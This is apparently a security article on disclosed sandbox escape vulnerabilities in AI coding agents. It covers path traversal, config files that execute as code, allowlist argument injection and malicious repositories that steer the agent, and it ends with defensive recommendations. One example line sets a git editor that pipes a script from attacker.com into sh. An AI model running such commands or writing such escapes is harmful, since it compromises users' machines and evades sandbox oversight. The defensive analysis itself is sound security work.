Pillar Security just published coordinated disclosure of seven sandbox escape vulnerabilities across four major coding agent platforms: Cursor, Windsurf, Cline, and Roo Code. The research took months, but the vulnerabilities share a common pattern. The agents did not break the sandbox directly. They wrote files, configs, or commands that trusted components outside the sandbox later executed.
This is not a story about Docker CVEs or kernel exploits. It is about the mismatch between what coding agents need to do (edit files, run shell commands, scan directories) and what sandboxes can realistically contain when the agent’s legitimate work product crosses the boundary.
The Threat Model Shift
Traditional sandboxes assume the untrusted code is the payload. You run it in a container, restrict syscalls, drop capabilities, and mount filesystems read-only. Coding agents invert this model. The agent itself runs in a sandbox, but its output (code, configs, scripts) is trusted by the host environment.
The escape vectors Pillar found cluster into four categories:
- Denylist sandboxes that cannot keep pace with OS surface area
- Workspace configurations treated as data but executed as code
- Command allowlists that trust command names instead of argument chains
- File path traversal where the agent writes outside the workspace and the host later loads it
In every case, the sandbox boundary held. The escape happened when a trusted process on the host read, executed, or imported something the agent wrote.
Concrete Escape Patterns
Path Traversal via Workspace Roots
Several agents let you configure a workspace root directory. The agent can write files anywhere under that root. If the root is /home/user/project, the agent should not touch /home/user/.bashrc.
But workspace root validation often happens in the orchestration layer, not the filesystem layer. An agent that writes ../../../.bashrc or ~/.config/nvim/init.lua can place executable code outside the workspace. The sandbox does not block this because the write happens through a legitimate file API. The escape happens later when the user opens a new shell or editor.
Config Files as Code Execution
Coding agents often generate .vscode/settings.json, .cursorrules, or .editorconfig files. These look like configuration, but many editors treat them as executable:
- VSCode settings can specify shell paths and task runners
- Editor configs can define file watchers that trigger on save
- Linter configs can point to custom rule files that import arbitrary modules
The agent writes a config file inside the workspace. The editor loads it. The config references a script the agent also wrote. The script runs with the user’s full privileges.
Command Allowlists with Argument Injection
Some sandboxes allow specific commands like git, npm, or docker but block others. The allowlist checks the command name, not the full invocation.
An agent can run:
git config core.editor "vim -c '!curl attacker.com/exfil.sh | sh'"
The sandbox sees git and allows it. The next time the user runs git commit, the editor field executes a shell payload.
Environment Variable Leakage
Agents often need access to environment variables to configure tools (API keys, paths, feature flags). If the sandbox passes through $HOME, $PATH, or $XDG_CONFIG_HOME, the agent can infer filesystem structure and write to predictable locations.
One disclosed vulnerability involved an agent reading $DOCKER_HOST to determine if Docker was available, then writing a malicious docker-compose.yml that the host later executed during a build step.
Why Containers Are Not Enough
Docker and Podman provide process isolation, but coding agents need filesystem and shell access to do their job. The typical deployment looks like this:
┌─────────────────────────────────────┐
│ Host (user's machine) │
│ │
│ ┌──────────────────────────────┐ │
│ │ Container (agent runtime) │ │
│ │ │ │
│ │ • LLM orchestration │ │
│ │ • Tool call execution │ │
│ │ • File write API │ │
│ │ │ │
│ └──────────────────────────────┘ │
│ │ │
│ │ bind mount │
│ ▼ │
│ ┌──────────────────────────────┐ │
│ │ /workspace (shared volume) │ │
│ └──────────────────────────────┘ │
│ │ │
│ │ editor/shell reads │
│ ▼ │
│ ┌──────────────────────────────┐ │
│ │ Trusted host processes │ │
│ │ • VSCode, Vim, Zsh │ │
│ │ • Git hooks, npm scripts │ │
│ └──────────────────────────────┘ │
└─────────────────────────────────────┘
The container isolates the agent process, but the workspace is a shared volume. Anything the agent writes there is visible to the host. If the host treats workspace contents as trusted (because the user put them there), the boundary collapses.
Failure Modes by Component
| Component | Failure Mode | Why It Happens | Example Escape |
|---|---|---|---|
| Workspace root | Path traversal | Validation in orchestrator, not filesystem | Write to ~/.bashrc via ../ |
| Config files | Execution as code | Editor treats JSON/YAML as executable | .vscode/settings.json with shell task |
| Command allowlist | Argument injection | Allowlist checks command name only | git config core.editor "payload" |
| Environment vars | Information disclosure | Agent infers host paths from $HOME, $PATH | Write to $XDG_CONFIG_HOME/autostart |
| File watchers | Trigger on write | Editor/linter runs on file change | Malicious .eslintrc.js auto-imports |
What Secure Sandboxing Looks Like
The Pillar research suggests a layered model:
-
Filesystem isolation: The agent writes to a truly isolated volume. A separate process validates and copies files to the workspace. No bind mounts.
-
Content inspection: Files crossing the boundary are scanned for executable markers (shebang lines, file extensions, executable bits, config keys that reference scripts).
-
Argument-aware allowlists: If you allow
git, parse the full command and block subcommands that accept arbitrary strings (config,filter-branch,hook). -
Minimal environment: Pass only the variables the agent needs. Do not expose
$HOME,$USER, or$PATH. Use a synthetic environment. -
Separate trust domains: The agent runtime and the user’s editor should not share a filesystem. Use a copy-on-write layer or a separate volume that requires explicit promotion.
This is expensive. It adds latency (file copies, validation passes) and complexity (orchestration logic, state synchronization). Most coding agents skip it because the user experience degrades.
The Real Threat Model
These escapes are not theoretical. The attack chain is:
- User installs a coding agent (Cursor, Windsurf, Cline, Roo Code)
- User opens a project from an untrusted source (cloned repo, downloaded archive)
- The project contains a malicious file that triggers the agent (a README with a coding task, a config that references a script)
- The agent processes the file and writes output to the workspace
- The user’s editor or shell executes the output
The attacker does not need to compromise the agent vendor. They only need to craft a repository that causes the agent to write something executable.
This is supply chain risk, but at the IDE layer instead of the package manager layer.
Observability Gaps
Most coding agents do not log filesystem writes or shell invocations in a way that security teams can audit. The telemetry focuses on LLM calls (token counts, latency, model versions), not on what the agent wrote or where.
If you deploy coding agents in a corporate environment, you need:
- Filesystem audit logs showing every write the agent makes
- Command execution logs with full argument chains
- Diff tracking between agent-generated files and committed files
- Alerts when files are written outside the workspace root
None of the disclosed vulnerabilities would have been caught by standard container monitoring (cAdvisor, Falco) because the writes were legitimate from the container’s perspective.
Deployment Recommendations
If you are running coding agents in production:
- Do not bind mount the workspace directly. Use a staging volume and a promotion step.
- Inspect config files before they reach the editor. Block any that reference external scripts or shell commands.
- Allowlist commands by full invocation, not just binary name. Parse arguments and reject dangerous subcommands.
- Run the agent in a separate user namespace with a UID that has no write access to the host user’s home directory.
- Log everything the agent writes and diff it against the workspace before the user sees it.
If you are building a coding agent:
- Assume the workspace is hostile. Do not trust files the user did not explicitly create.
- Validate paths at the filesystem layer, not in application code. Use chroot or pivot_root.
- Treat all config files as executable. Scan for keys that reference scripts, shell commands, or file paths.
- Expose a promotion API that requires user confirmation before files leave the sandbox.
Technical Verdict
Use coding agents with sandboxing if:
- You control the source of every file the agent processes
- You can afford the latency of file validation and promotion steps
- You have logging and alerting for filesystem writes outside the workspace
- Your editor and shell do not auto-execute config files from the workspace
Avoid coding agents in sandboxes if:
- You work with untrusted repositories or open-source contributions
- Your editor loads workspace configs automatically (VSCode, IntelliJ, Vim with plugins)
- You cannot monitor or audit what the agent writes
- You need the agent to interact with host tools (Docker, Kubernetes, cloud CLIs) that require ambient credentials
The disclosed vulnerabilities are fixable, but the underlying tension is not. Coding agents need enough access to be useful, and that access creates escape opportunities. The solution is not better containers. It is treating the workspace boundary as a security boundary and building validation, logging, and promotion workflows around it.